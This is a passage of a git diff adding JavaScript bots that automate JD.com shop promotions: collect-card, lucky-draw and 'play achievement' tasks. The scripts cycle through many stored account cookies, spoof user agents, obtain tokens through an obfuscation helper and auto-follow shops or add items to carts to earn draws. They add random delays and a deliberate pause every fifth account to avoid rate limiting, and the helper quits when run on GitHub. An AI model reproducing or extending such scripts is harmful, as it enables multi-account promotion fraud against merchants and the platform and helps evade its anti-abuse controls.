'https://lzkj-isv.isvjcloud.com/lzclient/8e5f3ebaf6e545959aa6311d14be5dfa/cjwx/common/entry.html?activityId=8e5f3ebaf6e545959aa6311d14be5dfa&gameType=wxTurnTable' + // $.activityUrl = 'https://lzkj-isv.isvjcloud.com/wxDrawActivity/activity?activityId=37c4c35255a84522bc944974edeef960' + // $.activityUrl = 'https://lzkj-isv.isvjcloud.com/wxDrawActivity/activity?activityId=1155ac7d4ec74a8ba31238d846866599' + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/wxDrawActivity/activity?activityId=a5b7b7b8196e4dc192c4ffd3221a7866' + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/drawCenter/activity/75f5617c3c844163b8ccb1b410eb23e8?activityId=75f5617c3c844163b8ccb1b410eb23e8' + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/drawCenter/activity?activityId=7113c86ee0b94fbbb803a76c8bda6065' +} +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +let shopInfo = '' +$.uid = ''//全都助力1号 +$.logic = async function () { + if (!$.activityId || !$.activityUrl) { + $.expire = true; + $.putMsg(`activityId|activityUrl不存在`); + return + } + $.log(`活动id: ${$.activityId}`, `活动url: ${$.activityUrl}`) + $.UA = $.ua(); + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result || !actInfo.data) { + $.log(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${ + $.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent($.activityUrl)}&subType=app&adSource=`); + + let userInfo = await $.api('wxActionCommon/getUserInfo', + `pin=${$.Pin}`); + if (!userInfo.result) { + $.putMsg('获取用户信息,结束运行') + return + } + $.nickname = userInfo.data.nickname; + + //助力暂且不弄 + let activityContent = await $.api( + 'drawCenter/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&nick=${$.nickname}&pinImg=${encodeURIComponent( + 'https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg')}&shareUuid=${$.uid}`, + true); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + if (!$.uid) { + $.uid = activityContent.data.uid//大概率助力码 + } + let prizeList = await $.api('drawCenter/getPrizeList', + `activityId=${$.activityId}&activityType=${$.activityType}&venderId=${$.venderId}`); + if (prizeList.result) { + $.content = prizeList.data; + } + let myInfo = await $.api('drawCenter/myInfo', + `activityId=${$.activityId}&pin=${$.Pin}`); + + if (!myInfo.result) { + $.putMsg('获取任务列表失败') + return + } + for (let ele of myInfo?.data?.taskList || []) { + if (ele.curNum >= ele.maxNeed) { + //完成了 + continue; + } + let count = ele.maxNeed - ele.curNum; + if (ele.taskId === 'followsku') { + $.log('followsku') + let products = await $.api('drawCenter/getProduct', + `activityId=${$.activityId}&pin=${ + $.Pin}&type=3`); + for (let pd of products?.data.filter(o => !o.taskDone)) { + if (count <= 0) { + break; + } + await $.api('drawCenter/doTask', + `activityId=${$.activityId}&pin=${ + $.Pin}&taskId=followsku¶m=${pd.skuId}`) + await $.wait(200, 500) + count-- + } + } + if (ele.taskId === 'add2cart') { + $.log('add2cart') + let products = await $.api('drawCenter/getProduct', + `activityId=${$.activityId}&pin=${ + $.Pin}&type=1`); + for (let pd of products?.data.filter(o => !o.taskDone)) { + if (count <= 0) { + break; + } + await $.api('drawCenter/doTask', + `activityId=${$.activityId}&pin=${ + $.Pin}&taskId=add2cart¶m=${pd.skuId}`) + await $.wait(200, 500) + count-- + } + } + if (ele.taskId === 'scansku') { + $.log('scansku') + let products = await $.api('drawCenter/getProduct', + `activityId=${$.activityId}&pin=${ + $.Pin}&type=2`); + for (let pd of products?.data.filter(o => !o.taskDone)) { + if (count <= 0) { + break; + } + await $.api('drawCenter/doTask', + `activityId=${$.activityId}&pin=${ + $.Pin}&taskId=scansku¶m=${pd.skuId}`) + await $.wait(200, 500) + count-- + } + } + if (ele.taskId === 'followshop') { + $.log('followshop') + await $.api('drawCenter/doTask', + `activityId=${$.activityId}&pin=${ + $.Pin}&taskId=followshop¶m=`) + } + if (ele.taskId === 'joinvip') { + $.log('joinvip') + await $.api('drawCenter/doTask', + `activityId=${$.activityId}&pin=${ + $.Pin}&taskId=joinvip¶m=`) + } + } + activityContent = await $.api( + 'drawCenter/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&nick=${$.nickname}&pinImg=${encodeURIComponent( + 'https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg')}&shareUuid=${$.uid}`, + true); + if (!activityContent.result) { + $.putMsg('获取不到活动信息,结束运行') + return + } + $.canDrawTimes = activityContent.data.chance || 0 + if ($.canDrawTimes === 0) { + $.putMsg(`抽奖次数 ${$.canDrawTimes}`) + return + } + for (let i = 0; i < $.canDrawTimes; i++) { + let prize = await $.api('/drawCenter/draw/luckyDraw', + `activityId=${$.activityId}&pin=${$.Pin}`); + if (prize.result) { + let msg = prize.data.drawOk ? prize.data.name + : prize.data.errorMessage || '空气'; + $.putMsg(msg) + } else { + if (prize.errorMessage) { + await $.wxStop(prize.errorMessage) ? $.expire = true : '' + $.putMsg(`${prize.errorMessage}`); + + } + break + } + } +} +$.after = async function () { + if ($.msg.length > 0) { + let message = `\n${(await $.getShopInfo()).shopName || ''}\n`; + for (let ele of $.content || []) { + if (ele.name.includes('谢谢') || ele.name.includes('再来')) { + continue; + } + message += ` ${ele.name}${ele?.type === 8 ? '专享价' : ''}\n` + } + $.msg.push(message) + $.msg.push($.activityUrl); + } +} +$.run({whitelist: ['1-5'], wait: [1000, 3000]}).catch(reason => $.log(reason)); diff --git a/jd_wx_collectCard.js b/jd_wx_collectCard.js new file mode 100644 index 0000000..20e9b4b --- /dev/null +++ b/jd_wx_collectCard.js @@ -0,0 +1,241 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_collectCard.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M集卡抽奖'); +$.activityUrl = process.env.M_WX_COLLECT_CARD_URL + ? process.env.M_WX_COLLECT_CARD_URL + : ''; +//最多几个集卡的,其余只助力 +let leaders = process.env.M_WX_COLLECT_CARD_LEADERS + ? process.env.M_WX_COLLECT_CARD_LEADERS * 1 + : 5; +if (mode) { + $.activityUrl = 'https://lzkjdz-isv.isvjcloud.com/wxCollectCard/activity/1193422?activityId=cb4d9c7ca992427db5a52ec1c0bcc42e' + $.activityUrl = 'https://lzkjdz-isv.isvjcloud.com/wxCollectCard/activity/3839759?activityId=2a47604ff73b47b5b432a06dc2226b70' +} + +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +$.shareUuid = '' +let stop = false; +let shopInfo = '' +const all = new Set(); + +$.logic = async function () { + if (stop) { + return; + } + if (!$.activityId || !$.activityUrl) { + stop = true; + $.putMsg(`activityId|activityUrl不存在`); + return + } + $.log(`活动url: ${$.activityUrl} ${await $._algo() || ""}`) + $.UA = $.ua(); + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result || !actInfo.data) { + $.log(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + shopInfo = await $.api(`wxCollectCard/shopInfo`, + `activityId=${$.activityId}`); + if (!shopInfo.result) { + $.putMsg('获取不到店铺信息,结束运行') + return + } + $.shopName = shopInfo?.data?.shopName + + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${ + $.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + + $.index > 1 ? $.log(`去助力${$.shareUuid}`) : '' + let activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result && !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + let drawCount = $.match(/每人每天可获得(\d+)次/, activityContent.data.rule) + && $.match(/每人每天可获得(\d+)次/, activityContent.data.rule) * 1 || 5 + console.log('openCard', activityContent.data.openCard); + $.shareUuid = $.shareUuid || activityContent.data.uuid + if ($.index % 5 === 0) { + $.log('执行可持续发展之道') + await $.wait(1000, 6000) + } + let drawContent = await $.api('wxCollectCard/drawContent', + `activityId=${$.activityId}`); + if (drawContent.result && drawContent.data) { + $.content = drawContent.data.content || [] + } + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${ + $.Pin}`); + //没开卡 需要开卡 + if ($.domain.includes('cjhy')) { + //没开卡 需要开卡 + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + $.shareUuid = $.shareUuid || activityContent.data.uuid + let userInfo = await $.api('wxActionCommon/getUserInfo', + `pin=${$.Pin}`); + if (!userInfo.result || !userInfo.data) { + $.putMsg(`获取getUserInfo失败`); + return + } + $.nickname = userInfo.data.nickname; + $.attrTouXiang = userInfo.data.yunMidImageUrl + || 'https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg' + + await $.api('crm/pageVisit/insertCrmPageVisit', + `venderId=${$.venderId}&elementId=${encodeURIComponent( + '邀请')}&pageId=${$.activityId}&pin=${$.Pin}`); + + await $.api('wxCollectCard/drawCard', + `sourceId=${$.shareUuid}&activityId=${$.activityId}&type=1&pinImg=${encodeURIComponent( + $.attrTouXiang)}&pin=${$.Pin}&jdNick=${encodeURIComponent( + $.nickname)}`); + if ($.index > leaders) { + return + } + let saveSource = await $.api('wxCollectCard/saveSource', + `activityId=${$.activityId}&pinImg=${encodeURIComponent( + $.attrTouXiang)}&pin=${ + $.Pin}&jdNick=${encodeURIComponent($.nickname)}`); + if (!saveSource.result || !saveSource.data) { + $.putMsg(`初始化shareuuid失败`); + return + } + $.shareUuid = $.shareUuid || saveSource.data + + for (let i = 0; i < drawCount; i++) { + let prize = await $.api(`wxCollectCard/drawCard`, + `sourceId=${saveSource.data}&activityId=${$.activityId}&type=0`); + $.log(JSON.stringify(prize)) + if (prize.result) { + // $.putMsg(prize.data.reward.cardName); + } else { + if (prize.errorMessage.includes('上限')) { + $.putMsg('上限'); + break; + } else if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + stop = true; + break + } + $.log(`${prize}`); + } + await $.api('crm/pageVisit/insertCrmPageVisit', + `venderId=${$.venderId}&elementId=${encodeURIComponent( + '抽卡')}&pageId=${$.activityId}&pin=${ + $.Pin}`); + await $.wait(1000, 2000) + } + activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + if (activityContent.data.canDraw) { + let prize = await $.api(`wxCollectCard/getPrize`, + `activityId=${$.activityId}&pin=${$.Pin}`); + $.log(JSON.stringify(prize)) + if (!prize.result) { + let msg = prize.data.drawOk ? prize.data.name + : prize.data.errorMessage || '空气'; + $.log(msg); + } else { + $.putMsg(`${prize.errorMessage}`); + if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + stop = true; + } + } + } else { + activityContent = await $.api( + 'wxCollectCard/activityContent', + `activityId=${$.activityId}&pin=${ + $.Pin}&uuid=${$.shareUuid}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + const has = new Set(); + for (const ele of activityContent.data.cardList) { + all.add(ele.cardName) + ele.count > 0 ? has.add(ele.cardName) : '' + } + $.putMsg(Array.from(has).join(',')) + } +} +$.after = async function () { + if ($.msg.length > 0) { + let message = `\n${$.shopName || ''}\n`; + message += `\n${Array.from(all).join(",")}\n`; + for (let ele of $.content || []) { + if (ele.name.includes('谢谢') || ele.name.includes('再来')) { + continue; + } + message += ` ${ele.name}${ele?.type === 8 ? '专享价' : ''}\n` + } + $.msg.push(message) + $.msg.push($.activityUrl); + } +} +$.run({whitelist: ['1-5'], wait: [1000, 3000]}).catch( + reason => $.log(reason)); diff --git a/jd_wx_luckDraw.js b/jd_wx_luckDraw.js new file mode 100644 index 0000000..2768045 --- /dev/null +++ b/jd_wx_luckDraw.js @@ -0,0 +1,231 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_luckDraw.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M幸运抽奖'); +$.activityUrl = process.env.M_WX_LUCK_DRAW_URL + ? process.env.M_WX_LUCK_DRAW_URL + : ''; +$.notLuckDrawList = process.env.M_WX_NOT_LUCK_DRAW_LIST + ? process.env.M_WX_NOT_LUCK_DRAW_LIST.split('@') + : 'test'.split('@'); +if (mode) { + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/lzclient/1648724528320/cjwx/common/entry.html?activityId=9cf424654f2d4821a229f73043987968&gameType=wxTurnTable&shopid=11743182' +} +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +let shopInfo = '' +$.logic = async function () { + if (!$.activityId || !$.activityUrl) { + $.expire = true; + $.putMsg(`activityId|activityUrl不存在`, $.activityUrl, $.activityId); + return + } + $.log(`活动id: ${$.activityId}`, `活动url: ${$.activityUrl}`) + $.UA = $.ua(); + + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + if ($.domain.includes("gzsl")) { + let activityContent = await $.api( + `wuxian/user/getLottery/${$.activityId}`, + {'id': $.activityId, 'token': $.Token, 'source': "01"}); + $.log(activityContent) + if (activityContent.status !== '1') { + $.putMsg(`获取活动信息失败`); + return; + } + $.shopName = activityContent.activity.shopName + $.activityType = activityContent.activity.activityType + $.shopId = activityContent.activity.shopId; + $.content = activityContent.activity.prizes + if (activityContent.leftTime === 0) { + $.putMsg("抽奖次数为0") + } + while (activityContent.leftTime-- > 0) { + await $.wait(3000, 5000) + let data = await $.api( + `wuxian/user/draw/${$.activityId}`, + {'id': $.activityId, 'token': $.Token, 'source': "01"}); + if (data.status !== "1") { + if (data.status === "-14") { + $.putMsg("开卡入会后参与活动") + break; + } + if (data.status === "-2") { + $.putMsg("已结束") + $.expire = true; + break; + } + $.putMsg(data.msg) + continue + } + if (data?.winId) { + if (data.data.source === "0") { + activityContent.leftTime++ + } + $.putMsg(data.data.name) + } else { + $.putMsg("空气") + } + } + } else { + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result || !actInfo.data) { + $.log(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + shopInfo = await $.api('wxDrawActivity/shopInfo', + `activityId=${$.activityId}`); + if (!shopInfo.result) { + $.putMsg('获取不到店铺信息,结束运行') + return + } + $.shopName = shopInfo?.data?.shopName + + for (let ele of $.notLuckDrawList) { + if ($.shopName.includes(ele)) { + $.expire = true + $.putMsg('已屏蔽') + return + } + } + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' + : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${$.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + let activityContent = await $.api( + `${$.activityType === 26 ? 'wxPointDrawActivity' + : 'wxDrawActivity'}/activityContent`, + `activityId=${$.activityId}&pin=${$.Pin}`); + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + debugger + $.hasFollow = activityContent.data.hasFollow || '' + $.needFollow = activityContent.data.needFollow || false + $.canDrawTimes = activityContent.data.canDrawTimes || 1 + $.content = activityContent.data.content || [] + $.drawConsume = activityContent.data.drawConsume || 0 + $.canDrawTimes === 0 ? $.canDrawTimes = 1 : '' + debugger + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${$.Pin}`); + //没开卡 需要开卡 + if ($.domain.includes('cjhy')) { + //没开卡 需要开卡 + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + + if ($.needFollow && !$.hasFollow) { + let followShop = await $.api($.domain.includes('cjhy') + ? 'wxActionCommon/newFollowShop' + : 'wxActionCommon/followShop', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&activityId=${$.activityId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : `userId=${$.venderId}&activityId=${$.activityId}&buyerNick=${$.Pin}&activityType=${$.activityType}`); + if (!followShop.result) { + $.putMsg(followShop.errorMessage) + return; + } + await $.wait(1000); + } + for (let m = 1; $.canDrawTimes--; m++) { + let prize = await $.api( + `${$.activityType === 26 ? 'wxPointDrawActivity' + : 'wxDrawActivity'}/start`, + $.domain.includes('cjhy') + ? `activityId=${$.activityId}&pin=${$.Pin}` + : `activityId=${$.activityId}&pin=${$.Pin}`); + if (prize.result) { + $.canDrawTimes = prize.data.canDrawTimes + let msg = prize.data.drawOk ? prize.data.name + : prize.data.errorMessage || '空气'; + $.putMsg(msg) + } else { + if (prize.errorMessage) { + $.putMsg(`${prize.errorMessage}`); + if (prize.errorMessage.includes('来晚了') + || prize.errorMessage.includes('已发完') + || prize.errorMessage.includes('活动已结束')) { + $.expire = true; + } + } + break + } + await $.wait(parseInt(Math.random() * 500 + 1500, 10)); + } + } + await $.unfollow($.shopId) +} +let kv = { + 3: '幸运九宫格', + 4: '转盘抽奖', + 11: '扭蛋抽奖', + 12: '九宫格抽奖', + 13: '转盘抽奖', + 26: '积分抽奖' +} +let kv2 = {'0': '再来一次', '1': '京豆', '2': '券', '3': '实物', '4': '积分'} + +$.after = async function () { + let message = `\n${$.shopName || ''} ${kv[$.activityType] + || $.activityType}\n`; + for (let ele of $.content || []) { + if (ele.name.includes('谢谢') || ele.name.includes('再来')) { + continue; + } + if ($.domain.includes('lzkj') || $.domain.includes('cjhy')) { + message += `\n ${ele.name} ${ele?.type === 8 ? '专享价' : ''}` + } else { + message += ` ${ele.name} ${kv2[ele?.source] + || ele?.source}\n` + } + } + $.msg.push(message) + $.msg.push($.activityUrl); +} +$.run({whitelist: ['1-5'], wait: [3000, 5000]}).catch( + reason => $.log(reason)); + diff --git a/jd_wyw.js b/jd_wyw.js new file mode 100644 index 0000000..21a2f72 --- /dev/null +++ b/jd_wyw.js @@ -0,0 +1,153 @@ +/* + +============Quantumultx=============== +[task_local] +#玩一玩成就 +0 8 * * * jd_wyw.js, tag=玩一玩成就, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_wyw.png, enabled=true + +================Loon============== +[Script] +cron "0 8 * * *" script-path=jd_wyw.js,tag=玩一玩成就 + +===============Surge================= +玩一玩成就 = type=cron,cronexp="0 8 * * *",wake-system=1,timeout=3600,script-path=jd_wyw.js + +============小火箭========= +玩一玩成就 = type=cron,script-path=jd_wyw.js, cronexpr="0 8 * * *", timeout=3600, enable=true +*/ +const $ = new Env('玩一玩成就'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +$.invitePinTaskList = [] + +message = "" +!(async () => { + $.user_agent = require('./USER_AGENTS').USER_AGENT + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getPlayTaskCenter() + for (const playTaskCenterListElement of $.playTaskCenterList) { + $.log(`play ${playTaskCenterListElement.name} 获得成就值: ${playTaskCenterListElement.achieve}`) + await doPlayAction(playTaskCenterListElement.playId) + } + + + + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + +function getPlayTaskCenter() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app"}&client=wh5&clientVersion=1.0.0`,`playTaskCenter`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.playTaskCenterList = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doPlayAction(playId) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"client":"app","playId":"${playId}","type":"1"}&client=wh5&clientVersion=1.0.0`,`playAction`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + debugger + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +function taskPostClientActionUrl(body,functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId?`functionId=${functionId}`:``}`, + body: body, + headers: { + 'User-Agent':$.user_agent, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Origin':'https://api.m.jd.com', + 'Referer':'https://funearth.m.jd.com/babelDiy/Zeus/3BB1rymVZUo4XmicATEUSDUgHZND/index.html?source=6&lng=113.388032&lat=22.510956&sid=f9dd95649c5d4f0c0d31876c606b6cew&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else 